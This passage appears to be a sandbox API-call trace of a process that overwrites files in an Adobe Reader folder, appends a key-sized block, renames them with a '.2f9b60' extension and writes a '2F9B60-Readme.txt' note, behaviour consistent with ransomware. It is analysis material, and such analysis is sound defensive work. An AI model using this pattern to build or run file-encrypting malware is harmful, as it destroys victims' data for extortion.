[0162.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c40 [0162.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060130 [0162.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420524d0 [0162.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420524d0) returned 1 [0162.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x420524d0 [0162.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420524a0 [0162.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced88b0 [0162.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced88b0) returned 1 [0162.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060130) returned 1 [0162.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c40) returned 1 [0162.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c16910 [0162.225] SetFilePointerEx (in: hFile=0x1858, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.226] WriteFile (in: hFile=0x1858, lpBuffer=0x42c16910*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2270f630, lpOverlapped=0x0 | out: lpBuffer=0x42c16910*, lpNumberOfBytesWritten=0x2270f630*=0x108, lpOverlapped=0x0) returned 1 [0164.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1550 [0164.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1550) returned 1 [0164.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1550 [0164.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1520 [0164.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1520) returned 1 [0164.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f80 [0164.379] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="6f") returned 2 [0164.379] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="7a") returned 2 [0164.379] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="40") returned 2 [0164.379] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="89") returned 2 [0164.379] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="6e") returned 2 [0164.379] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="9a") returned 2 [0164.379] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="35") returned 2 [0164.379] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="90") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="e3") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="26") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="5d") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="e7") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="de") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="8e") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="17") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="bd") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="58") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="a4") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="7e") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="bb") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="90") returned 2 [0164.380] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="da") returned 2 [0164.380] RtlInitAnsiString (in: DestinationString=0x2270f6a8, SourceString="6f7a40896e9a3590e3265de7de8e17bd58a47ebb90da" | out: DestinationString="6f7a40896e9a3590e3265de7de8e17bd58a47ebb90da") [0164.380] RtlAnsiStringToUnicodeString (in: DestinationString=0x2270f678, SourceString="6f7a40896e9a3590e3265de7de8e17bd58a47ebb90da", AllocateDestinationString=1 | out: DestinationString="6f7a40896e9a3590e3265de7de8e17bd58a47ebb90da") returned 0x0 [0164.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ce14960 [0164.381] RtlFreeAnsiString (AnsiString="6") [0164.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1550) returned 1 [0164.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c16910) returned 1 [0164.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420524d0) returned 1 [0164.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420524a0) returned 1 [0164.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052470) returned 1 [0164.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052440) returned 1 [0164.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420536d0) returned 1 [0164.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053790) returned 1 [0164.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420537c0) returned 1 [0164.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb56b0 [0164.384] wcscat (in: _Dest=0x1cdb56b0, _Source="6f7a40896e9" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\6f7a40896e9") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\6f7a40896e9" [0164.384] wcscat (in: _Dest=0x1cdb56b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\6f7a40896e9.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\6f7a40896e9.2f9b60" [0164.384] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\6f7a40896e9.2f9b60", NtPathName=0x2270f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\6f7a40896e9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a090 Thread: id = 2414 os_tid = 0x1e2c [0153.373] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.chs")) returned 0x20 [0153.374] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHS", dwFileAttributes=0x20) returned 1 [0153.374] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.chs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1484 [0153.374] GetFileSizeEx (in: hFile=0x1484, lpFileSize=0x25acf9a0 | out: lpFileSize=0x25acf9a0*=7680) returned 1 [0153.374] SetFilePointerEx (in: hFile=0x1484, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.374] ReadFile (in: hFile=0x1484, lpBuffer=0x25acf920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25acf968, lpOverlapped=0x0 | out: lpBuffer=0x25acf920*, lpNumberOfBytesRead=0x25acf968*=0x4, lpOverlapped=0x0) returned 1 [0153.593] SetFilePointerEx (in: hFile=0x1484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053880 [0153.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053910 [0153.594] NtQuerySystemTime (in: CurrentTime=0x25acf860 | out: CurrentTime=0x25acf860*=132462177587218000) returned 0x0 [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x6c5a9e7c [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x32c85633 [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x55ed857b [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x375f5ce7 [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x132f0774 [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0xa18258a [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x353b28e0 [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x4d28bfdd [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x409cf481 [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x4c46ca83 [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x760baf5e [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x5feffa20 [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x1b4b777e [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x51b4a57d [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x1afe9ee [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x44b8bd78 [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x46c9e679 [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x118c08ce [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x5ca26a86 [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x58830167 [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x645cf226 [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x9424d6b [0153.594] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x2b03f294 [0153.595] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x4eb6d704 [0153.595] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x6de9f026 [0153.595] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x1107009e [0153.595] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x68a176fe [0153.595] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x6c5a9e7c [0153.595] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x4ce90306 [0153.595] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x242bc8f6 [0153.595] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x414c5cee [0153.595] RtlRandomEx (in: Seed=0x25acf850 | out: Seed=0x25acf850) returned 0x2c0232d2 [0153.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053940 [0153.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420611b0 [0153.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053970 [0153.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420611b0) returned 1 [0153.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053910) returned 1 [0153.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058d30 [0153.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420611b0 [0153.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20179560 [0153.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20446ac0 [0153.604] ReadFile (in: hFile=0x1484, lpBuffer=0x20179560, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x25acf850, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesRead=0x25acf850*=0x1e00, lpOverlapped=0x0) returned 1 [0154.263] SetFilePointerEx (in: hFile=0x1484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.263] WriteFile (in: hFile=0x1484, lpBuffer=0x20446ac0*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x25acf854, lpOverlapped=0x0 | out: lpBuffer=0x20446ac0*, lpNumberOfBytesWritten=0x25acf854*=0x1e00, lpOverlapped=0x0) returned 1 [0162.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7f70 [0162.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7fa0 [0162.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7fa0) returned 1 [0162.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20446ac0) returned 1 [0162.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0162.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420611b0) returned 1 [0162.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058d30) returned 1 [0162.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7fa0 [0162.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058d30 [0162.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420611b0 [0162.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7fd0 [0162.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7fd0) returned 1 [0162.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7fd0 [0162.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a8000 [0162.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a8030 [0162.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8030) returned 1 [0162.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420611b0) returned 1 [0162.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058d30) returned 1 [0162.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c164d0 [0162.198] SetFilePointerEx (in: hFile=0x1484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.199] WriteFile (in: hFile=0x1484, lpBuffer=0x42c164d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x25acf970, lpOverlapped=0x0 | out: lpBuffer=0x42c164d0*, lpNumberOfBytesWritten=0x25acf970*=0x108, lpOverlapped=0x0) returned 1 [0164.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9470 [0164.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9470) returned 1 [0164.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9470 [0164.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9440 [0164.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9440) returned 1 [0164.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f40 [0164.215] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="c8") returned 2 [0164.215] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="22") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="21") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="a2") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="d1") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="e8") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="f9") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="b3") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="c6") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="8a") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="cd") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="5d") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="3a") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="ba") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="60") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="b2") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="42") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="f0") returned 2 [0164.216] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="74") returned 2 [0164.217] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="d3") returned 2 [0164.217] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="fb") returned 2 [0164.217] RtlInitAnsiString (in: DestinationString=0x25acf9e8, SourceString="c82221a2d14fe8f9b3c68acd5d3aba60b242f074d3fb" | out: DestinationString="c82221a2d14fe8f9b3c68acd5d3aba60b242f074d3fb") [0164.217] RtlAnsiStringToUnicodeString (in: DestinationString=0x25acf9b8, SourceString="c82221a2d14fe8f9b3c68acd5d3aba60b242f074d3fb", AllocateDestinationString=1 | out: DestinationString="c82221a2d14fe8f9b3c68acd5d3aba60b242f074d3fb") returned 0x0 [0164.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203faeb0 [0164.217] RtlFreeAnsiString (AnsiString="c") [0164.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0164.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9470) returned 1 [0164.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c164d0) returned 1 [0164.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7fd0) returned 1 [0164.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8000) returned 1 [0164.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7fa0) returned 1 [0164.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7f70) returned 1 [0164.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053880) returned 1 [0164.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053940) returned 1 [0164.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053970) returned 1 [0164.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230edc0 [0164.220] wcscat (in: _Dest=0x4230edc0, _Source="c82221a2d14" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c82221a2d14") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c82221a2d14" [0164.220] wcscat (in: _Dest=0x4230edc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c82221a2d14.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c82221a2d14.2f9b60" [0164.220] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c82221a2d14.2f9b60", NtPathName=0x25acf990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c82221a2d14.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2b950 [0165.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2b950) returned 1 [0165.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423acdd0) returned 1 [0165.137] NtQueryInformationFile (in: FileHandle=0x1484, IoStatusBlock=0x25acf9f8, FileInformation=0x25acfa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25acf9f8, FileInformation=0x25acfa08) returned 0x0 [0165.137] NtSetInformationFile (FileHandle=0x1484, IoStatusBlock=0x25acf9f8, FileInformation=0x25acfa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230edc0) returned 1 [0165.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203faeb0) returned 1 [0165.142] FlushFileBuffers (hFile=0x1484) returned 1 [0166.268] CloseHandle (hObject=0x1484) returned 1 [0183.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205c970 [0183.986] wcscpy (in: _Dest=0x4205c970, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0183.986] wcscat (in: _Dest=0x4205c970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" [0183.986] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt")) returned 0xffffffff [0184.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b34 [0219.997] WriteFile (in: hFile=0x1b34, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x25acf8b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x25acf8b0*=0xba9, lpOverlapped=0x0) returned 1 [0222.813] CloseHandle (hObject=0x1b34) returned 1 [0244.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0244.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4e220) returned 1 Thread: id = 2415 os_tid = 0x1e30 [0153.376] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cht")) returned 0x20 [0153.376] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHT", dwFileAttributes=0x20) returned 1 [0153.377] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cht"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1480 [0153.377] GetFileSizeEx (in: hFile=0x1480, lpFileSize=0x2319fd40 | out: lpFileSize=0x2319fd40*=7680) returned 1 [0153.377] SetFilePointerEx (in: hFile=0x1480, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.377] ReadFile (in: hFile=0x1480, lpBuffer=0x2319fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2319fd08, lpOverlapped=0x0 | out: lpBuffer=0x2319fcc0*, 